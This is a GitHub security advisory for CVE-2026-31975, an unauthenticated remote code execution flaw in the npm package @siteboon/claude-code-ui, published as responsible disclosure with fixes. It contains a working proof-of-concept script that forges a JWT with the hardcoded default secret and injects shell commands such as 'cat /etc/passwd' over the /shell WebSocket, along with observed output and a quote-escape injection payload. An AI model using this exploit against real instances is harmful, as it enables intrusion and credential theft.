Skip to content

Unauthenticated RCE via WebSocket shell injection

Critical
viper151 published GHSA-gv8f-wpm2-m5wr Mar 10, 2026

Package

npm @siteboon/claude-code-ui (npm)

Affected versions

<= 1.24.0

Patched versions

1.25.0

Description

Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection

Download: cve_claudecodeui_submission_v2.zip

 Submission Info

Field Value
Package @siteboon/claude-code-ui
Ecosystem npm
Affected versions <= 1.24.0 (latest)
Severity Critical
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-1188, CWE-287, CWE-78
Reported 2026-03-02
Researcher Ethan-Yang (OPCIA)

Summary

Three chained vulnerabilities allow unauthenticated remote code execution on any
claudecodeui instance running with default configuration. No account, credentials, or
prior access is required.

The root cause of RCE is OS command injection (CWE-78) in the WebSocket shell
handler. Authentication is bypassed by combining an insecure default JWT secret
(CWE-1188) with a WebSocket authentication function that skips database user
validation (CWE-287).


Vulnerability Details

1. Insecure Default JWT Secret — CWE-1188

File: server/middleware/auth.js, line 6

const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';

The server uses an environment variable for JWT_SECRET, but falls back to a
well-known default value when the variable is not set. Critically, JWT_SECRET is
not included in .env.example, so the majority of users deploy without setting it,
leaving the fallback value in effect.

Since this default string is published verbatim in the public source code, any attacker
can use it to sign arbitrary JWT tokens.


2. WebSocket Authentication Skips Database Validation — CWE-287

File: server/middleware/auth.js, lines 82–108

authenticateWebSocket() only verifies the JWT signature. It does not check
whether the userId in the payload actually exists in the database — unlike
authenticateToken() which is used for REST endpoints and does perform this check:

// authenticateWebSocket() — VULNERABLE
const decoded = jwt.verify(token, JWT_SECRET);
return decoded;  // ← userId never verified against DB

// authenticateToken() — CORRECT (REST endpoints)
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId);  // ← DB check present
if (!user) return res.status(401)...

A forged token with a non-existent userId passes WebSocket authentication,
bypassing access control entirely.


3. OS Command Injection via WebSocket Shell — CWE-78

File: server/index.js, line 1179

shellCommand = `cd "${projectPath}" && ${initialCommand}`;

Both projectPath and initialCommand are taken directly from the WebSocket message
payload and interpolated into a bash command string without any sanitization,
enabling arbitrary OS command execution.

A secondary injection vector exists at line 1257 via unsanitized sessionId:

shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`;

Proof of Concept

Requirements: Node.js, jsonwebtoken, ws

import jwt from 'jsonwebtoken';
import WebSocket from 'ws';

// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
  { userId: 1337, username: 'attacker' },
  'claude-ui-dev-secret-change-in-production'
);

// Step 2: Connect to /shell WebSocket — auth passes because
//         authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);

ws.on('open', () => {
  // Step 3: initialCommand is injected directly into bash
  ws.send(JSON.stringify({
    type: 'init',
    projectPath: '/tmp',
    initialCommand: 'id && cat /etc/passwd',
    isPlainShell: true,
    hasSession: false
  }));
});

ws.on('message', (data) => {
  const msg = JSON.parse(data);
  if (msg.type === 'output') process.stdout.write(msg.data);
});

Actual output observed during testing:

uid=1001(user) gid=1001(user) groups=1001(user),27(sudo)
ubuntu
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Secondary vector — projectPath double-quote escape injection

ws.send(JSON.stringify({
  type: 'init',
  projectPath: '" && id && echo "pwned" # ',
  provider: 'claude',
  hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned

Additional Findings

CWE Location Description
CWE-306 server/routes/auth.js:22 /api/auth/register requires no authentication — first caller becomes admin
CWE-942 server/index.js:325 cors() with no options sets Access-Control-Allow-Origin: *
CWE-613 server/middleware/auth.js:70 generateToken() sets no expiresIn — tokens never expire

Impact

Any claudecodeui instance accessible over the network where JWT_SECRET is not
explicitly configured (the default case, as it is absent from .env.example) is
vulnerable to:

  • Full OS command execution as the server process user
  • File system read/write access
  • Credential theft (SSH keys, .env files, API keys stored on the host)
  • Lateral movement within the host network

The attack requires zero authentication and succeeds immediately after
default installation.


Remediation

Fix 1 — Enforce explicit JWT_SECRET; remove insecure default

// server/middleware/auth.js
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
  console.error('[FATAL] JWT_SECRET environment variable must be set');
  process.exit(1);
}

Also add JWT_SECRET= to .env.example with a clear instruction to set a strong random value.

Fix 2 — Add DB user existence check in WebSocket authentication

const authenticateWebSocket = (token) => {
  if (!token) return null;
  try {
    const decoded = jwt.verify(token, JWT_SECRET);
    const user = userDb.getUserById(decoded.userId); // ← add
    if (!user) return null;                          // ← add
    return user;
  } catch (error) {
    return null;
  }
};

Fix 3 — Replace shell string interpolation with spawn argument array

// Instead of:
const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...);

// Use:
const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {
  cwd: projectPath  // pass path as cwd, not shell string
});

Fix 4 — Additional hardening

  • Add expiresIn: '24h' to generateToken()
  • Restrict CORS to specific trusted origins
  • Rate-limit and restrict /api/auth/register to localhost on initial setup

Timeline

Date Event
2026-03-02 Vulnerabilities discovered and verified via PoC
2026-03-02 Private advisory submitted to maintainer
2026-06-01 Public disclosure (90-day deadline)

Researcher

Ethan-Yang — OPCIA

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-31975

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure. Learn more on MITRE.

Credits